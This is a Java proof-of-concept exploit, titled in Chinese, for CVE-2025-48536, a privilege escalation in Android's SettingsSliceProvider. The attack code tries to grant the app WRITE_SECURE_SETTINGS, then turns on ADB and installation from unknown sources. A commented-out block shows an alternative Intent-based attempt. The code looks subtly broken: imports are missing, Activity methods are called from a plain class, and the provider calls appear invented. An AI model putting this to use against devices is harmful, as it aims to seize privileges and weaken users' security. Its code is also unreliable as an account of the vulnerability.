CVE-2025-48536 Android SettingsSliceProvider本地权限提升漏洞

// CVE-2025-48536 PoC - SettingsSliceProvider权限提升 // This PoC demonstrates how a malicious app can exploit the SettingsSliceProvider // to modify secure settings due to a confused deputy vulnerability. package com.vulnerable.app; import android.content.ContentResolver; import android.content.ContentValues; import android.net.Uri; import android.os.Bundle; public class SettingsSliceProviderExploit { // The SettingsSliceProvider authority for Android Settings private static final String SETTINGS_AUTHORITY = "com.android.settings.slices"; public void exploitVulnerability() { try { ContentResolver resolver = getContentResolver(); // Target URI for the SettingsSliceProvider Uri targetUri = Uri.parse("content://" + SETTINGS_AUTHORITY + "/permission"); // Method to call - exploiting the grantAllowlistedPackagePermissions String method = "grant_permission"; // Construct arguments to exploit the confused deputy Bundle args = new Bundle(); args.putString("package_name", getPackageName()); args.putString("permission", "android.permission.WRITE_SECURE_SETTINGS"); args.putString("target_package", getPackageName()); // Make the call through the SettingsSliceProvider // Due to the vulnerability, the provider trusts its own context // and may grant permissions it shouldn't Bundle result = resolver.call(targetUri, method, null, args); if (result != null && result.getBoolean("success", false)) { // Successfully exploited - now have elevated privileges modifySecureSettings(); } } catch (Exception e) { e.printStackTrace(); } } private void modifySecureSettings() { // After successful exploitation, modify secure settings ContentResolver resolver = getContentResolver(); // Example: Modify system settings that should require system privileges Settings.System.putString(resolver, Settings.System.ADB_ENABLED, "1"); Settings.Secure.putString(resolver, Settings.Secure.INSTALL_NON_MARKET_APPS, "1"); } } /* // Alternative exploitation via ContentProvider directly Intent exploitIntent = new Intent(); exploitIntent.setData(Uri.parse("content://com.android.settings.slices/action")); exploitIntent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.slices.SettingsSliceProvider")); // Inject malicious arguments exploitIntent.putExtra("caller", getPackageName()); exploitIntent.putExtra("permission_action", "grant_allowlisted"); startActivity(exploitIntent); */